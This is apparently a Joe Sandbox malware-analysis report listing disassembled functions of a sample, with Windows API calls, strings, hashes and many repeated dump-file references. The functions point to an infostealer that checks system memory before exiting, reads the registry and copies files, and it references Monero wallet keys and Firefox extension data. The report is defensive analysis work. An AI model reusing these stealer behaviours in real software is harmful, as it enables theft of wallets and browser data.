Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 48ad3a1de0d8454a6b155f4e40142e91968ba6202858704a412a0dd8ad2afcfe
Instruction ID: 2d4c5a44d7056943b720e03d5fa8fd75b56ca91ee265d153d4d93dff7efb976f
Opcode Fuzzy Hash: 48ad3a1de0d8454a6b155f4e40142e91968ba6202858704a412a0dd8ad2afcfe
Instruction Fuzzy Hash: 4331F6B4A10209EFDB14CFA4D895BEE7BB5FF48704F108198E911AB390D774A985CFA0

Function 00B11220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00B1123E
__aulldiv.LIBCMT ref: 00B11258
__aulldiv.LIBCMT ref: 00B11266
ExitProcess.KERNEL32 ref: 00B11294

Strings

@, xrefs: 00B11233

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 8b91467053216899262fdf8cdcb5d508ccbc116be77db6212b9e459421512b28
Instruction ID: 247cc09787169f27a52790207cb3396ee0cb04ff29e94deb3ab1ef7e36c1caed
Opcode Fuzzy Hash: 8b91467053216899262fdf8cdcb5d508ccbc116be77db6212b9e459421512b28
Instruction Fuzzy Hash: CA014FB094030CABDF10EFE8DC49B9EB7B8EB14705F608485E704B6280C77455808B99

Function 00B23BC0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0074D410,00000000,00020119,?), ref: 00B23C04
RegQueryValueExA.ADVAPI32(?,0074E2A8,00000000,00000000,00000000,000000FF), ref: 00B23C28
RegCloseKey.ADVAPI32(?), ref: 00B23C32
lstrcat.KERNEL32(?,00000000), ref: 00B23C57
lstrcat.KERNEL32(?,0074E2C0), ref: 00B23C6B

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 9dfdb9b3f583cb47d0384a63fa6dd6f0d49eb3f4fba4c41d2d9a92d4cc174f32
Instruction ID: 25c9b33197e5b579bc1ca1e9f5f7b854bdbc631a8eecb05e9bfd2fafaa6f3d4b
Opcode Fuzzy Hash: 9dfdb9b3f583cb47d0384a63fa6dd6f0d49eb3f4fba4c41d2d9a92d4cc174f32
Instruction Fuzzy Hash: 84419E769102086BDB14EBA0EC46FED737DBB88700F404998B71996285FEB557CC8BE1

Function 00B112A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B112B4
RtlAllocateHeap.NTDLL(00000000), ref: 00B112BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00B112D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00B112F5
RegCloseKey.ADVAPI32(?), ref: 00B112FF

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ad60d7ab10760616149a708bf7c53911840f1739f6f17539580221e85a675271
Instruction ID: 71e81ca103469e9678bcb6a59a21b40911db8eef39bf84e03b244a5d7b19b6eb
Opcode Fuzzy Hash: ad60d7ab10760616149a708bf7c53911840f1739f6f17539580221e85a675271
Instruction Fuzzy Hash: FB01CDB9A40308BFDB04DFE4DC89FAEB7B9EB48701F104158FA05E7280D6709A458F60

Function 00B19FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00748DB0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00B1A00D
LoadLibraryA.KERNEL32(0074D510), ref: 00B1A096

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A1F0: lstrlen.KERNEL32(00B14F55,?,?,00B14F55,00B30DC6), ref: 00B2A1FB
Part of subcall function 00B2A1F0: lstrcpy.KERNEL32(00B30DC6,00000000), ref: 00B2A255

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

SetEnvironmentVariableA.KERNEL32(00748DB0,00000000,00000000,?,00B31290,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00B30AE6), ref: 00B1A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00B1A002, 00B1A016, 00B1A02C

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 2e3472fc087a3a054c08a96fc02dd5f7fee3d582a98852adde04217f476945bf
Instruction ID: 74f8445140419d79d52c7d7558fd5718b50edc723699c2f33171759d44e39f74
Opcode Fuzzy Hash: 2e3472fc087a3a054c08a96fc02dd5f7fee3d582a98852adde04217f476945bf
Instruction Fuzzy Hash: 7D413CB6925304AFCB14DBA4EC96AAE77B5BB09301F541068F405F33A0DBB46994CB71

Function 00B1A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B28600: GetSystemTime.KERNEL32(00B30E02,0074A1D8,00B3059E,?,?,00B113F9,?,0000001A,00B30E02,00000000,?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B28626

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B1A231
lstrlen.KERNEL32(00000000), ref: 00B1A5EA

Part of subcall function 00B19E60: LocalAlloc.KERNEL32(00000040,?), ref: 00B19EFE

lstrlen.KERNEL32(00000000,00000000), ref: 00B1A32D
DeleteFileA.KERNEL32(00000000), ref: 00B1A671

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTime
String ID:
API String ID: 3104408854-0
Opcode ID: df536bbf68b9b48083c992e40ebaef722b658eff8b89af931b8baba1f352a0fc
Instruction ID: 9f45b3a87f2772afeeec3ab54f7c529abcc9175f2587a8c9290a6937875ba43f
Opcode Fuzzy Hash: df536bbf68b9b48083c992e40ebaef722b658eff8b89af931b8baba1f352a0fc
Instruction Fuzzy Hash: 1DD1D0728101289BCB14FBA4EC92EEE73B8AF15301F508599F51B72191EF706A5CCB76

Function 00B1D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B28600: GetSystemTime.KERNEL32(00B30E02,0074A1D8,00B3059E,?,?,00B113F9,?,0000001A,00B30E02,00000000,?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B28626

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B1D641
lstrlen.KERNEL32(00000000), ref: 00B1D7DF
lstrlen.KERNEL32(00000000), ref: 00B1D7F3
DeleteFileA.KERNEL32(00000000), ref: 00B1D872

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: d209ae4cd105821a03cc2bdf23e53fa7b7f7075a377b45b519d1af1b39b2ed16
Instruction ID: a1aad3312bb3d6933c261ae23fb2ffe1e6add71a061ef1af6e4304fa2330434f
Opcode Fuzzy Hash: d209ae4cd105821a03cc2bdf23e53fa7b7f7075a377b45b519d1af1b39b2ed16
Instruction Fuzzy Hash: 2C8114729101289BCB04FBB4EC96DEE73B8AF55301F5045A8F51BB2191EF746A18CB72

Function 00B1F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Part of subcall function 00B19A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B19A3C
Part of subcall function 00B19A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B19A61
Part of subcall function 00B19A10: LocalAlloc.KERNEL32(00000040,?), ref: 00B19A81
Part of subcall function 00B19A10: ReadFile.KERNEL32(000000FF,?,00000000,00B1148F,00000000), ref: 00B19AAA
Part of subcall function 00B19A10: LocalFree.KERNEL32(00B1148F), ref: 00B19AE0
Part of subcall function 00B19A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00B19AEA

Part of subcall function 00B288D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B288F2

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00B31524,00B30D7A), ref: 00B1F38C
lstrlen.KERNEL32(00000000), ref: 00B1F3AB

Strings

moz-extension+++, xrefs: 00B1F3ED
^userContextId=4294967295, xrefs: 00B1F3DC

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
